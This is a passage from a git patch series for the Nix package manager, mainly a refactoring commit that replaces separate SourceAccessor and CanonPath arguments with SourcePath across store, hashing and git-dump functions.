-  and it avoids unintentional situations where some function might try to copy everything at the location into the store.
+
+  > **Note**
+  >
+  > Absolute paths make expressions less portable.
+  > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead.
+  > This avoids some confusion about whether files at that location will be used during evaluation.
+  > It also avoids unintentional situations where some function might try to copy everything at the location into the store.
 
   If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory.
   For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`.

From eab2919119b8c41d70f62411d7e7dd972d6820da Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 6 May 2024 19:05:42 +0200
Subject: [PATCH 088/528] Use SourcePath in more places

Now that SourcePath uses a SourceAccessor instead of an InputAccessor,
we can use it in function signatures instead of passing a
SourceAccessor and CanonPath separately.
---
 src/libfetchers/fetch-to-store.cc             |  4 ++--
 src/libfetchers/unix/mercurial.cc             |  4 ++--
 src/libstore/binary-cache-store.cc            |  7 +++---
 src/libstore/binary-cache-store.hh            |  3 +--
 src/libstore/legacy-ssh-store.hh              |  3 +--
 src/libstore/store-api.cc                     | 20 +++++++----------
 src/libstore/store-api.hh                     |  6 ++---
 src/libstore/store-dir-config.hh              |  5 +++--
 .../unix/build/local-derivation-goal.cc       | 16 +++++---------
 src/libstore/unix/build/worker.cc             |  2 +-
 src/libstore/unix/local-store.cc              | 10 ++++-----
 src/libstore/unix/optimise-store.cc           |  6 ++---
 src/libutil/archive.cc                        |  7 +++---
 src/libutil/file-content-address.cc           | 17 +++++++-------
 src/libutil/file-content-address.hh           |  8 ++++---
 src/libutil/git.cc                            | 22 +++++++++----------
 src/libutil/git.hh                            | 14 ++++++------
 src/libutil/posix-source-accessor.cc          |  5 +++--
 src/libutil/posix-source-accessor.hh          |  4 +++-
 src/libutil/source-path.hh                    |  5 +++++
 src/nix-store/nix-store.cc                    |  8 +++----
 src/nix/add-to-store.cc                       |  4 ++--
 src/nix/hash.cc                               | 11 +++++-----
 src/nix/prefetch.cc                           |  3 +--
 tests/unit/libutil/git.cc                     | 16 +++++++-------
 25 files changed, 101 insertions(+), 109 deletions(-)

diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc
index c105fe1fcb0..4fce6180d91 100644
--- a/src/libfetchers/fetch-to-store.cc
+++ b/src/libfetchers/fetch-to-store.cc
@@ -42,9 +42,9 @@ StorePath fetchToStore(
     auto storePath =
         mode == FetchMode::DryRun
         ? store.computeStorePath(
-            name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2).first
+            name, path, method, HashAlgorithm::SHA256, {}, filter2).first
         : store.addToStore(
-            name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair);
+            name, path, method, HashAlgorithm::SHA256, {}, filter2, repair);
 
     if (cacheKey && mode == FetchMode::Copy)
         fetchers::getCache()->add(store, *cacheKey, {}, storePath, true);
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index 4d95f54f065..838cb41bf8f 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -212,7 +212,7 @@ struct MercurialInputScheme : InputScheme
 
                 auto storePath = store->addToStore(
                     input.getName(),
-                    *makeFSSourceAccessor(), CanonPath { actualPath },
+                    {makeFSSourceAccessor(), CanonPath(actualPath)},
                     FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {},
                     filter);
 
@@ -318,7 +318,7 @@ struct MercurialInputScheme : InputScheme
 
         deletePath(tmpDir + "/.hg_archival.txt");
 
-        auto storePath = store->addToStore(name, *makeFSSourceAccessor(), CanonPath { tmpDir });
+        auto storePath = store->addToStore(name, {makeFSSourceAccessor(), CanonPath(tmpDir)});
 
         Attrs infoAttrs({
             {"rev", input.getRev()->gitRev()},
diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc
index 97b6ec0529a..5153ca64fb1 100644
--- a/src/libstore/binary-cache-store.cc
+++ b/src/libstore/binary-cache-store.cc
@@ -442,8 +442,7 @@ void BinaryCacheStore::queryPathInfoUncached(const StorePath & storePath,
 
 StorePath BinaryCacheStore::addToStore(
     std::string_view name,
-    SourceAccessor & accessor,
-    const CanonPath & path,
+    const SourcePath & path,
     ContentAddressMethod method,
     HashAlgorithm hashAlgo,
     const StorePathSet & references,
@@ -454,10 +453,10 @@ StorePath BinaryCacheStore::addToStore(
        non-recursive+sha256 so we can just use the default
        implementation of this method in terms of addToStoreFromDump. */
 
-    auto h = hashPath(accessor, path, method.getFileIngestionMethod(), hashAlgo, filter);
+    auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
 
     auto source = sinkToSource([&](Sink & sink) {
-        accessor.dumpPath(path, sink, filter);
+        path.dumpPath(sink, filter);
     });
     return addToStoreCommon(*source, repair, CheckSigs, [&](HashResult nar) {
         ValidPathInfo info {
diff --git a/src/libstore/binary-cache-store.hh b/src/libstore/binary-cache-store.hh
index 7c282830933..695bc925277 100644
--- a/src/libstore/binary-cache-store.hh
+++ b/src/libstore/binary-cache-store.hh
@@ -133,8 +133,7 @@ public:
 
     StorePath addToStore(
         std::string_view name,
-        SourceAccessor & accessor,
-        const CanonPath & srcPath,
+        const SourcePath & path,
         ContentAddressMethod method,
         HashAlgorithm hashAlgo,
         const StorePathSet & references,
diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh
index ca2f115d25e..34382369366 100644
--- a/src/libstore/legacy-ssh-store.hh
+++ b/src/libstore/legacy-ssh-store.hh
@@ -60,8 +60,7 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor
 
     StorePath addToStore(
         std::string_view name,
-        SourceAccessor & accessor,
-        const CanonPath & srcPath,
+        const SourcePath & path,
         ContentAddressMethod method,
         HashAlgorithm hashAlgo,
         const StorePathSet & references,
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 118e5de9f99..008cc11e712 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -167,14 +167,13 @@ StorePath StoreDirConfig::makeFixedOutputPathFromCA(std::string_view name, const
 
 std::pair<StorePath, Hash> StoreDirConfig::computeStorePath(
     std::string_view name,
-    SourceAccessor & accessor,
-    const CanonPath & path,
+    const SourcePath & path,
     ContentAddressMethod method,
     HashAlgorithm hashAlgo,
     const StorePathSet & references,
     PathFilter & filter) const
 {
-    auto h = hashPath(accessor, path, method.getFileIngestionMethod(), hashAlgo, filter);
+    auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter);
     return {
         makeFixedOutputPathFromCA(
             name,
@@ -192,8 +191,7 @@ std::pair<StorePath, Hash> StoreDirConfig::computeStorePath(
 
 StorePath Store::addToStore(
     std::string_view name,
-    SourceAccessor & accessor,
-    const CanonPath & path,
+    const SourcePath & path,
     ContentAddressMethod method,
     HashAlgorithm hashAlgo,
     const StorePathSet & references,
@@ -214,7 +212,7 @@ StorePath Store::addToStore(
         break;
     }
     auto source = sinkToSource([&](Sink & sink) {
-        dumpPath(accessor, path, sink, fsm, filter);
+        dumpPath(path, sink, fsm, filter);
     });
     return addToStoreFromDump(*source, name, fsm, method, hashAlgo, references, repair);
 }
@@ -343,8 +341,7 @@ digraph graphname {
 */
 ValidPathInfo Store::addToStoreSlow(
     std::string_view name,
-    SourceAccessor & accessor,
-    const CanonPath & srcPath,
+    const SourcePath & srcPath,
     ContentAddressMethod method, HashAlgorithm hashAlgo,
     const StorePathSet & references,
     std::optional<Hash> expectedCAHash)
@@ -366,7 +363,7 @@ ValidPathInfo Store::addToStoreSlow(
        srcPath. The fact that we use scratchpadSink as a temporary buffer here
        is an implementation detail. */
     auto fileSource = sinkToSource([&](Sink & scratchpadSink) {
-        accessor.dumpPath(srcPath, scratchpadSink);
+        srcPath.dumpPath(scratchpadSink);
     });
 
     /* tapped provides the same data as fileSource, but we also write all the
@@ -389,13 +386,12 @@ ValidPathInfo Store::addToStoreSlow(
     auto hash = method == FileIngestionMethod::Recursive && hashAlgo == HashAlgorithm::SHA256
         ? narHash
         : method == FileIngestionMethod::Git
-        ? git::dumpHash(hashAlgo, accessor, srcPath).hash
+        ? git::dumpHash(hashAlgo, srcPath).hash
         : caHashSink.finish().first;
 
     if (expectedCAHash && expectedCAHash != hash)
         throw Error("hash mismatch for '%s'", srcPath);
 
-
     ValidPathInfo info {
         *this,
         name,
@@ -412,7 +408,7 @@ ValidPathInfo Store::addToStoreSlow(
 
     if (!isValidPath(info.path)) {
         auto source = sinkToSource([&](Sink & scratchpadSink) {
-            accessor.dumpPath(srcPath, scratchpadSink);
+            srcPath.dumpPath(scratchpadSink);
         });
         addToStore(info, *source);
     }
diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh
index 5f683a21139..ae8c224374f 100644
--- a/src/libstore/store-api.hh
+++ b/src/libstore/store-api.hh
@@ -439,8 +439,7 @@ public:
      */
     virtual StorePath addToStore(
         std::string_view name,
-        SourceAccessor & accessor,
-        const CanonPath & path,
+        const SourcePath & path,
         ContentAddressMethod method = FileIngestionMethod::Recursive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
@@ -454,8 +453,7 @@ public:
      */
     ValidPathInfo addToStoreSlow(
         std::string_view name,
-        SourceAccessor & accessor,
-        const CanonPath & path,
+        const SourcePath & path,
         ContentAddressMethod method = FileIngestionMethod::Recursive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh
index 7ca8c2665c3..643f8854dd0 100644
--- a/src/libstore/store-dir-config.hh
+++ b/src/libstore/store-dir-config.hh
@@ -13,6 +13,8 @@
 
 namespace nix {
 
+struct SourcePath;
+
 MakeError(BadStorePath, Error);
 
 struct StoreDirConfig : public Config
@@ -94,8 +96,7 @@ struct StoreDirConfig : public Config
      */
     std::pair<StorePath, Hash> computeStorePath(
         std::string_view name,
-        SourceAccessor & accessor,
-        const CanonPath & path,
+        const SourcePath & path,
         ContentAddressMethod method = FileIngestionMethod::Recursive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = {},
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 0ebd22c7559..24f6897c62a 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -1306,8 +1306,7 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual In
 
     StorePath addToStore(
         std::string_view name,
-        SourceAccessor & accessor,
-        const CanonPath & srcPath,
+        const SourcePath & srcPath,
         ContentAddressMethod method,
         HashAlgorithm hashAlgo,
         const StorePathSet & references,
@@ -2485,7 +2484,6 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
             /* FIXME optimize and deduplicate with addToStore */
             std::string oldHashPart { scratchPath->hashPart() };
             auto got = [&]{
-                PosixSourceAccessor accessor;
                 auto fim = outputHash.method.getFileIngestionMethod();
                 switch (fim) {
                 case FileIngestionMethod::Flat:
@@ -2494,15 +2492,15 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                     HashModuloSink caSink { outputHash.hashAlgo, oldHashPart };
                     auto fim = outputHash.method.getFileIngestionMethod();
                     dumpPath(
-                        accessor, CanonPath { actualPath },
+                        {makeFSSourceAccessor(), CanonPath(actualPath)},
                         caSink,
                         (FileSerialisationMethod) fim);
                     return caSink.finish().first;
                 }
                 case FileIngestionMethod::Git: {
                     return git::dumpHash(
-                        outputHash.hashAlgo, accessor,
-                        CanonPath { tmpDir + "/tmp" }).hash;
+                        outputHash.hashAlgo,
+                        {makeFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash;
                 }
                 }
                 assert(false);
@@ -2529,9 +2527,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
             }
 
             {
-                PosixSourceAccessor accessor;
                 HashResult narHashAndSize = hashPath(
-                    accessor, CanonPath { actualPath },
+                    {makeFSSourceAccessor(), CanonPath(actualPath)},
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
                 newInfo0.narHash = narHashAndSize.first;
                 newInfo0.narSize = narHashAndSize.second;
@@ -2553,9 +2550,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                         std::string { scratchPath->hashPart() },
                         std::string { requiredFinalPath.hashPart() });
                 rewriteOutput(outputRewrites);
-                PosixSourceAccessor accessor;
                 HashResult narHashAndSize = hashPath(
-                    accessor, CanonPath { actualPath },
+                    {makeFSSourceAccessor(), CanonPath(actualPath)},
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
                 ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first };
                 newInfo0.narSize = narHashAndSize.second;
diff --git a/src/libstore/unix/build/worker.cc b/src/libstore/unix/build/worker.cc
index 815ded3d5b0..03fc280a47d 100644
--- a/src/libstore/unix/build/worker.cc
+++ b/src/libstore/unix/build/worker.cc
@@ -530,7 +530,7 @@ bool Worker::pathContentsGood(const StorePath & path)
         res = false;
     else {
         Hash current = hashPath(
-            *store.getFSAccessor(), CanonPath { store.printStorePath(path) },
+            {store.getFSAccessor(), CanonPath(store.printStorePath(path))},
             FileIngestionMethod::Recursive, info->narHash.algo);
         Hash nullHash(HashAlgorithm::SHA256);
         res = info->narHash == nullHash || info->narHash == current;
diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc
index 1593affd608..7b3ba134759 100644
--- a/src/libstore/unix/local-store.cc
+++ b/src/libstore/unix/local-store.cc
@@ -1132,12 +1132,12 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source,
                             specified.hash.algo,
                             std::string { info.path.hashPart() },
                         };
-                        dumpPath(*accessor, path, caSink, (FileSerialisationMethod) fim);
+                        dumpPath({accessor, path}, caSink, (FileSerialisationMethod) fim);
                         h = caSink.finish().first;
                         break;
                     }
                     case FileIngestionMethod::Git:
-                        h = git::dumpHash(specified.hash.algo, *accessor, path).hash;
+                        h = git::dumpHash(specified.hash.algo, {accessor, path}).hash;
                         break;
                     }
                     ContentAddress {
@@ -1247,14 +1247,12 @@ StorePath LocalStore::addToStoreFromDump(
 
     auto [dumpHash, size] = hashSink->finish();
 
-    PosixSourceAccessor accessor;
-
     auto desc = ContentAddressWithReferences::fromParts(
         hashMethod,
         methodsMatch
             ? dumpHash
             : hashPath(
-                accessor, CanonPath { tempPath },
+                {makeFSSourceAccessor(), CanonPath(tempPath)},
                 hashMethod.getFileIngestionMethod(), hashAlgo),
         {
             .others = references,
@@ -1394,7 +1392,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
             Path linkPath = linksDir + "/" + link.name;
             PosixSourceAccessor accessor;
             std::string hash = hashPath(
-                accessor, CanonPath { linkPath },
+                {makeFSSourceAccessor(), CanonPath(linkPath)},
                 FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false);
             if (hash != link.name) {
                 printError("link '%s' was modified! expected hash '%s', got '%s'",
diff --git a/src/libstore/unix/optimise-store.cc b/src/libstore/unix/optimise-store.cc
index daaaaf0733e..bedb77849b1 100644
--- a/src/libstore/unix/optimise-store.cc
+++ b/src/libstore/unix/optimise-store.cc
@@ -148,9 +148,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
        contents of the symlink (i.e. the result of readlink()), not
        the contents of the target (which may not even exist). */
     Hash hash = ({
-        PosixSourceAccessor accessor;
         hashPath(
-            accessor, CanonPath { path },
+            {make_ref<PosixSourceAccessor>(), CanonPath(path)},
             FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first;
     });
     debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true));
@@ -163,9 +162,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
         auto stLink = lstat(linkPath);
         if (st.st_size != stLink.st_size
             || (repair && hash != ({
-                PosixSourceAccessor accessor;
                 hashPath(
-                    accessor, CanonPath { linkPath },
+                    {make_ref<PosixSourceAccessor>(), CanonPath(linkPath)},
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first;
            })))
         {
diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc
index 351ee094b88..04f777d00f1 100644
--- a/src/libutil/archive.cc
+++ b/src/libutil/archive.cc
@@ -8,6 +8,7 @@
 #include "archive.hh"
 #include "config.hh"
 #include "posix-source-accessor.hh"
+#include "source-path.hh"
 #include "file-system.hh"
 #include "signals.hh"
 
@@ -110,9 +111,9 @@ void SourceAccessor::dumpPath(
 
 time_t dumpPathAndGetMtime(const Path & path, Sink & sink, PathFilter & filter)
 {
-    auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(path);
-    accessor.dumpPath(canonPath, sink, filter);
-    return accessor.mtime;
+    auto path2 = PosixSourceAccessor::createAtRoot(path);
+    path2.dumpPath(sink, filter);
+    return path2.accessor.dynamic_pointer_cast<PosixSourceAccessor>()->mtime;
 }
 
 void dumpPath(const Path & path, Sink & sink, PathFilter & filter)
diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
index 570247b9e7b..769042d00da 100644
--- a/src/libutil/file-content-address.cc
+++ b/src/libutil/file-content-address.cc
@@ -1,6 +1,7 @@
 #include "file-content-address.hh"
 #include "archive.hh"
 #include "git.hh"
+#include "source-path.hh"
 
 namespace nix {
 
@@ -68,17 +69,17 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method)
 
 
 void dumpPath(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     Sink & sink,
     FileSerialisationMethod method,
     PathFilter & filter)
 {
     switch (method) {
     case FileSerialisationMethod::Flat:
-        accessor.readFile(path, sink);
+        path.readFile(sink);
         break;
     case FileSerialisationMethod::Recursive:
-        accessor.dumpPath(path, sink, filter);
+        path.dumpPath(sink, filter);
         break;
     }
 }
@@ -101,27 +102,27 @@ void restorePath(
 
 
 HashResult hashPath(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     FileSerialisationMethod method, HashAlgorithm ha,
     PathFilter & filter)
 {
     HashSink sink { ha };
-    dumpPath(accessor, path, sink, method, filter);
+    dumpPath(path, sink, method, filter);
     return sink.finish();
 }
 
 
 Hash hashPath(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     FileIngestionMethod method, HashAlgorithm ht,
     PathFilter & filter)
 {
     switch (method) {
     case FileIngestionMethod::Flat:
     case FileIngestionMethod::Recursive:
-        return hashPath(accessor, path, (FileSerialisationMethod) method, ht, filter).first;
+        return hashPath(path, (FileSerialisationMethod) method, ht, filter).first;
     case FileIngestionMethod::Git:
-        return git::dumpHash(ht, accessor, path, filter).hash;
+        return git::dumpHash(ht, path, filter).hash;
     }
     assert(false);
 }
diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh
index b361ab243f6..145a8fb1f46 100644
--- a/src/libutil/file-content-address.hh
+++ b/src/libutil/file-content-address.hh
@@ -7,6 +7,8 @@
 
 namespace nix {
 
+struct SourcePath;
+
 /**
  * An enumeration of the ways we can serialize file system
  * objects.
@@ -45,7 +47,7 @@ std::string_view renderFileSerialisationMethod(FileSerialisationMethod method);
  * Dump a serialization of the given file system object.
  */
 void dumpPath(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     Sink & sink,
     FileSerialisationMethod method,
     PathFilter & filter = defaultPathFilter);
@@ -72,7 +74,7 @@ void restorePath(
  * ```
  */
 HashResult hashPath(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     FileSerialisationMethod method, HashAlgorithm ha,
     PathFilter & filter = defaultPathFilter);
 
@@ -138,7 +140,7 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method);
  * useful defined for a merkle format.
  */
 Hash hashPath(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     FileIngestionMethod method, HashAlgorithm ha,
     PathFilter & filter = defaultPathFilter);
 
diff --git a/src/libutil/git.cc b/src/libutil/git.cc
index a60589baa17..8c538c98820 100644
--- a/src/libutil/git.cc
+++ b/src/libutil/git.cc
@@ -8,7 +8,6 @@
 #include "signals.hh"
 #include "config.hh"
 #include "hash.hh"
-#include "posix-source-accessor.hh"
 
 #include "git.hh"
 #include "serialise.hh"
@@ -269,18 +268,18 @@ void dumpTree(const Tree & entries, Sink & sink,
 
 
 Mode dump(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     Sink & sink,
     std::function<DumpHook> hook,
     PathFilter & filter,
     const ExperimentalFeatureSettings & xpSettings)
 {
-    auto st = accessor.lstat(path);
+    auto st = path.lstat();
 
     switch (st.type) {
     case SourceAccessor::tRegular:
     {
-        accessor.readFile(path, sink, [&](uint64_t size) {
+        path.readFile(sink, [&](uint64_t size) {
             dumpBlobPrefix(size, sink, xpSettings);
         });
         return st.isExecutable
@@ -291,9 +290,9 @@ Mode dump(
     case SourceAccessor::tDirectory:
     {
         Tree entries;
-        for (auto & [name, _] : accessor.readDirectory(path)) {
+        for (auto & [name, _] : path.readDirectory()) {
             auto child = path / name;
-            if (!filter(child.abs())) continue;
+            if (!filter(child.path.abs())) continue;
 
             auto entry = hook(child);
 
@@ -309,7 +308,7 @@ Mode dump(
 
     case SourceAccessor::tSymlink:
     {
-        auto target = accessor.readLink(path);
+        auto target = path.readLink();
         dumpBlobPrefix(target.size(), sink, xpSettings);
         sink(target);
         return Mode::Symlink;
@@ -323,13 +322,14 @@ Mode dump(
 
 
 TreeEntry dumpHash(
-        HashAlgorithm ha,
-        SourceAccessor & accessor, const CanonPath & path, PathFilter & filter)
+    HashAlgorithm ha,
+    const SourcePath & path,
+    PathFilter & filter)
 {
     std::function<DumpHook> hook;
-    hook = [&](const CanonPath & path) -> TreeEntry {
+    hook = [&](const SourcePath & path) -> TreeEntry {
         auto hashSink = HashSink(ha);
-        auto mode = dump(accessor, path, hashSink, hook, filter);
+        auto mode = dump(path, hashSink, hook, filter);
         auto hash = hashSink.finish().first;
         return {
             .mode = mode,
diff --git a/src/libutil/git.hh b/src/libutil/git.hh
index cfea48fbe2d..a65edb964fd 100644
--- a/src/libutil/git.hh
+++ b/src/libutil/git.hh
@@ -8,7 +8,7 @@
 #include "types.hh"
 #include "serialise.hh"
 #include "hash.hh"
-#include "source-accessor.hh"
+#include "source-path.hh"
 #include "fs-sink.hh"
 
 namespace nix::git {
@@ -125,7 +125,7 @@ std::optional<Mode> convertMode(SourceAccessor::Type type);
  * Given a `Hash`, return a `SourceAccessor` and `CanonPath` pointing to
  * the file system object with that path.
  */
-using RestoreHook = std::pair<SourceAccessor *, CanonPath>(Hash);
+using RestoreHook = SourcePath(Hash);
 
 /**
  * Wrapper around `parse` and `RestoreSink`
@@ -157,10 +157,10 @@ void dumpTree(
  * Note that if the child is a directory, its child in must also be so
  * processed in order to compute this information.
  */
-using DumpHook = TreeEntry(const CanonPath & path);
+using DumpHook = TreeEntry(const SourcePath & path);
 
 Mode dump(
-    SourceAccessor & accessor, const CanonPath & path,
+    const SourcePath & path,
     Sink & sink,
     std::function<DumpHook> hook,
     PathFilter & filter = defaultPathFilter,
@@ -172,9 +172,9 @@ Mode dump(
  * A smaller wrapper around `dump`.
  */
 TreeEntry dumpHash(
-            HashAlgorithm ha,
-            SourceAccessor & accessor, const CanonPath & path,
-            PathFilter & filter = defaultPathFilter);
+    HashAlgorithm ha,
+    const SourcePath & path,
+    PathFilter & filter = defaultPathFilter);
 
 /**
  * A line from the output of `git ls-remote --symref`.
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index f7dffb87154..f3551db42a6 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -1,4 +1,5 @@
 #include "posix-source-accessor.hh"
+#include "source-path.hh"
 #include "signals.hh"
 #include "sync.hh"
 
@@ -17,11 +18,11 @@ PosixSourceAccessor::PosixSourceAccessor()
     : PosixSourceAccessor(std::filesystem::path {})
 { }
 
-std::pair<PosixSourceAccessor, CanonPath> PosixSourceAccessor::createAtRoot(const std::filesystem::path & path)
+SourcePath PosixSourceAccessor::createAtRoot(const std::filesystem::path & path)
 {
     std::filesystem::path path2 = absPath(path.string());
     return {
-        PosixSourceAccessor { path2.root_path() },
+        make_ref<PosixSourceAccessor>(path2.root_path()),
         CanonPath { path2.relative_path().string() },
     };
 }
diff --git a/src/libutil/posix-source-accessor.hh b/src/libutil/posix-source-accessor.hh
index 717c8f01779..40f60bb54b8 100644
--- a/src/libutil/posix-source-accessor.hh
+++ b/src/libutil/posix-source-accessor.hh
@@ -4,6 +4,8 @@
 
 namespace nix {
 
+struct SourcePath;
+
 /**
  * A source accessor that uses the Unix filesystem.
  */
@@ -53,7 +55,7 @@ struct PosixSourceAccessor : virtual SourceAccessor
      * and
      * [`std::filesystem::path::relative_path`](https://en.cppreference.com/w/cpp/filesystem/path/relative_path).
      */
-    static std::pair<PosixSourceAccessor, CanonPath> createAtRoot(const std::filesystem::path & path);
+    static SourcePath createAtRoot(const std::filesystem::path & path);
 
 private:
 
diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh
index 7e4c3c65d95..83ec6295de1 100644
--- a/src/libutil/source-path.hh
+++ b/src/libutil/source-path.hh
@@ -41,6 +41,11 @@ struct SourcePath
      */
     std::string readFile() const;
 
+    void readFile(
+        Sink & sink,
+        std::function<void(uint64_t)> sizeCallback = [](uint64_t size){}) const
+    { return accessor->readFile(path, sink, sizeCallback); }
+
     /**
      * Return whether this `SourcePath` denotes a file (of any type)
      * that exists
diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc
index 719675cba2e..b23d99ad6a4 100644
--- a/src/nix-store/nix-store.cc
+++ b/src/nix-store/nix-store.cc
@@ -184,7 +184,7 @@ static void opAdd(Strings opFlags, Strings opArgs)
     for (auto & i : opArgs) {
         auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(i);
         cout << fmt("%s\n", store->printStorePath(store->addToStore(
-            std::string(baseNameOf(i)), accessor, canonPath)));
+            std::string(baseNameOf(i)), {accessor, canonPath})));
     }
 }
 
@@ -209,8 +209,7 @@ static void opAddFixed(Strings opFlags, Strings opArgs)
         auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(i);
         std::cout << fmt("%s\n", store->printStorePath(store->addToStoreSlow(
             baseNameOf(i),
-            accessor,
-            canonPath,
+            {accessor, canonPath},
             method,
             hashAlgo).path));
     }
@@ -562,8 +561,7 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise)
 #endif
             if (!hashGiven) {
                 HashResult hash = hashPath(
-                    *store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) },
-
+                    {store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }},
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
                 info->narHash = hash.first;
                 info->narSize = hash.second;
diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc
index 02154715f81..af674337525 100644
--- a/src/nix/add-to-store.cc
+++ b/src/nix/add-to-store.cc
@@ -41,9 +41,9 @@ struct CmdAddToStore : MixDryRun, StoreCommand
 
         auto storePath = dryRun
             ? store->computeStorePath(
-                *namePart, accessor, path2, caMethod, hashAlgo, {}).first
+                *namePart, {accessor, path2}, caMethod, hashAlgo, {}).first
             : store->addToStoreSlow(
-                *namePart, accessor, path2, caMethod, hashAlgo, {}).path;
+                *namePart, {accessor, path2}, caMethod, hashAlgo, {}).path;
 
         logger->cout("%s", store->printStorePath(storePath));
     }
diff --git a/src/nix/hash.cc b/src/nix/hash.cc
index f849bf0cfae..f969886eaf0 100644
--- a/src/nix/hash.cc
+++ b/src/nix/hash.cc
@@ -87,30 +87,29 @@ struct CmdHashBase : Command
                     return std::make_unique<HashSink>(hashAlgo);
             };
 
-            auto [accessor_, canonPath] = PosixSourceAccessor::createAtRoot(path);
-            auto & accessor = accessor_;
+            auto path2 = PosixSourceAccessor::createAtRoot(path);
             Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++
             switch (mode) {
             case FileIngestionMethod::Flat:
             case FileIngestionMethod::Recursive:
             {
                 auto hashSink = makeSink();
-                dumpPath(accessor, canonPath, *hashSink, (FileSerialisationMethod) mode);
+                dumpPath(path2, *hashSink, (FileSerialisationMethod) mode);
                 h = hashSink->finish().first;
                 break;
             }
             case FileIngestionMethod::Git: {
                 std::function<git::DumpHook> hook;
-                hook = [&](const CanonPath & path) -> git::TreeEntry {
+                hook = [&](const SourcePath & path) -> git::TreeEntry {
                     auto hashSink = makeSink();
-                    auto mode = dump(accessor, path, *hashSink, hook);
+                    auto mode = dump(path, *hashSink, hook);
                     auto hash = hashSink->finish().first;
                     return {
                         .mode = mode,
                         .hash = hash,
                     };
                 };
-                h = hook(canonPath).hash;
+                h = hook(path2).hash;
                 break;
             }
             }
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index f905cabeff6..6c2eb5aafbd 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -125,9 +125,8 @@ std::tuple<StorePath, Hash> prefetchFile(
         Activity act(*logger, lvlChatty, actUnknown,
             fmt("adding '%s' to the store", url));
 
-        auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(tmpFile);
         auto info = store->addToStoreSlow(
-            *name, accessor, canonPath,
+            *name, PosixSourceAccessor::createAtRoot(tmpFile),
             ingestionMethod, hashAlgo, {}, expectedHash);
         storePath = info.path;
         assert(info.ca);
